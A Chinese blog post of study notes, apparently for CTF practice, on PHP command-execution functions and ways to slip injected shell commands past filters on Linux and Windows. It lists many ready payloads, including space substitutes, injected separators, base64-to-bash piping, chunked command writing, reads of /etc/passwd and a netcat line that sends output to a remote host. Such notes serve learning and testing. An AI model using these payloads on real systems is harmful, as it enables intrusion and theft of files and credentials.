首页 > 其他分享 >命令执行

命令执行

时间:2022-09-04 16:24:12浏览次数:54  
标签:php .. echo 命令 cat 执行 whoami

命令连接符

A   连接符   B

  • | A为假,直接报错;A为真,直接执行B
  • || A为真,只执行A;A为假,执行B
  • & A为真,AB都执行;A为假,直接执行B
  • && A为假,直接报错;A为真,AB都执行
  • ; 顺序执行,现执行A,后执行B

 PHP常见命令执行函数

  1. system('cmd')
  2. exec('cmd') exec没有回显,可以使用echo
  3. shell_exec('cmd') 没有回显,可加上echo
  4. passthru('cmd')
  5. popen(string $command, string $mode) eg <?php popen("touch test.txt","r");?> 在当前文件夹创建test.txt
  6. proc_open(

              mixed $cmd,
              array $descriptorspec,
              array &$pipes)

         cmd:以 string 形式执行的命令行
descriptorspec:一个索引数组。 数组的键表示描述符,数组元素值表示 PHP 如何将这些描述符传送至子进程
pipes:将被置为索引数组, 其中的元素是被执行程序创建的管道对应到 PHP 这一端的文件指针

 

    7.(``)反引号  php执行运算符

    8.ob_start () ob_start:打开输出控制缓冲

 此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量 中。  想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

<?php
ob_start("system");
echo "whoami";
ob_end_flush();
?>
//输出www-data

 

命令执行绕过

绕过空格

  1. ${IFS}绕过      eg cat${IFS}cmdexec.php
  2. $IFS$9            eg cat$IFS$9cmdexec.php
  3. %09(tab)         eg %09是制表符的url编码,可以代替空格
  4. %20(space)
  5. {}绕过              eg  ?ip=127.0.0.1;{cat,cmdexec.php}
  6. <绕过              eg  ?ip=127.0.0.1;cat<cmdexec.php
  7. <>

命令分隔符

         linux:%0a     %0d     ;     &   &&   |     ||    

         windows:%0a   &   |    %1a(一个神奇的角色,作为.bat 文件中的命令 分隔符)

其它绕过

linux

  1.  通配符?或者*  或者[0-9]或者[abc]                   比如 /???/fl?g.php           fl[abc]g.php
  2. 转义\                                                                 比如   ca\t f\lag
  3. 命令拼接,使用连接符拼接命令                       比如 a=ca;b=t; $a$b  /etc/passswd 有时候ab可能要调换位置          kg=$'\x20flag.txt'&&cat$kg   %20是空格;  ls & cat /etc/passwd
  4. 注释符                                                               cat /etc/passwd #anything
  5. 编码                                                                  url编码:cat%20%2Fetc%2Fpasswd           base64编码:echo "d2hvYW1p" | base64 -d | bash
  6. 字符拼接                                                           cat /"e"tc/'p'a's'swd
  7. 填充垃圾字符                                                    cat /etc/passwd xxx               666`whoami`666
  8. 分号                                                                  cmd1;cmd2
  9. 反引号(``)和$()                                                 echo "result : `whoami`"                   echo "result : $(whoami)"
  10. <>  < 重定向
  11. 单双引号                                                          c""at 1.tx''t
  12. $1、$@、$*绕过$1、$@、$*绕过                  c$1a$1t 1.t$1$1x$1t
  13. 绕过长度限制                                                   使用>>绕过长度限制,使用>>每次添加一部分命令到文件中。

                                                                                        echo -n "cat " > r;

                                                                                        echo -n "/etc" >> r;

                                                                                        echo "/passwd" >> r;

                                                                                        cat r | bash

        14.\x20                                                                  COMMAND=$'\x20-al';ls$COMMAND

         15.环境变量绕过                                                     打印出环境变量,然后截取其中的字符,通过字符拼接执行命令。

         16.命令换行

              换行执行命令

        zxcv0221@kali:~/桌面$ ca\
      > t\
      >  fl\
      > ag    
17.nc外带数据
本地监听端口 nc -lvp 9999
命令执行出 ping 127.0.0.0 & nc ip port > key.ph
18.

 

 

 

windows:

  1.  type                               type.\flag.php    type,flag.php
  2. 特殊符号                         whoami->who^am^i ->who""ami"i"  ->who""""ami
  3. set命令                         set a=whoami
                                         set b=ami
                                         %a%%b%
                                         call %a%%b%

                                                                                      

                                                  set a=whoami
                                                 %a:~0% //取出所有字符,所以正常执行命令
                                                  %a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行

          4.ping绕过                         cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/whoami"

                                                   

                                                    

标签:php,..,echo,命令,cat,执行,whoami
From: https://www.cnblogs.com/ykxykx/p/16587842.html

相关文章

  • Linux常用基础命令二
    查看命令帮助信息man[命令]help[命令]----英文帮助文档[命令]--help----部分汉化帮助信息清屏Ctrl+l-----快捷键清屏clear或者res......
  • Linux常用基础命令一
    一、目录操作进入路径cd[目录地址]切换回主目录cd返回上一个路径cd-打印当前路径pwd列出目录下文件ls---查看只包含非隐藏文件ls......
  • ES常用维护命令
    1、查看分片分布GET_cat/shards?v2、设置集群节点允许分片数GET/_cluster/settings{"index.routing.allocation.total_shards_per_node":2}3、解除索引只读P......
  • DOM css js 执行顺序
    DOM、CSS、JS的执行顺序js放在head中会立即执行,会阻塞后续的资源下载与执行。因为js有可能会修改dom,如果不阻塞后续的资源下载,dom的操作顺序不可控。2.js的执行依赖前......
  • ping命令显示的TTL是什么意思
    ping命令显示的TTL是什么意思_Jack2013tong的博客-CSDN博客_ping设置ttl https://blog.csdn.net/huwei2003/article/details/53113874如下ping的结果C:\>ping192.168......
  • 在cmd运行窗口中输入DOS命令netstat,即可查看电脑的tcp连接。
    如何查看tcp连接_百度知道 https://zhidao.baidu.com/question/202977646.html在cmd运行窗口中输入DOS命令netstat,即可查看电脑的tcp连接。具体操作请参照以下步骤。1......
  • 在 .NET / C# 中管理命令行参数
    在.NET/C#中管理命令行参数创建控制台应用程序时,我们经常需要处理通过命令行传递的参数。本文介绍了一种使用命令行解析器nuget包。Photoby奥斯卡·耶尔迪兹......
  • Windows11中windowsPowerShell运行hexo命令报错
    修改设置Windows11安装后,系统自带的终端输入命令,git和node都可以使用,hexo不可以,提示:hexo:无法加载文件C:\Users\username\AppData\Roaming\npm\hexo.ps1`,因为在此系......
  • CTF_SHOW命令执行系列
    CTF_SHOW命令执行系列WEB29题目:<?php/*#-*-coding:utf-8-*-#@Author:h1xa#@Date:2020-09-0400:12:34#@LastModifiedby:h1xa#@LastModified......
  • python小知识--使用pip/pip3 install 命令下载安装包时,速度慢、经常断连的情况
    直接提供方法设置源 WIN+R键cmd命令 执行如下两条命令----------------这使用国内的云pipconfigsetglobal.index-urlhttps://pypi.tuna.tsinghua.edu.cn/sim......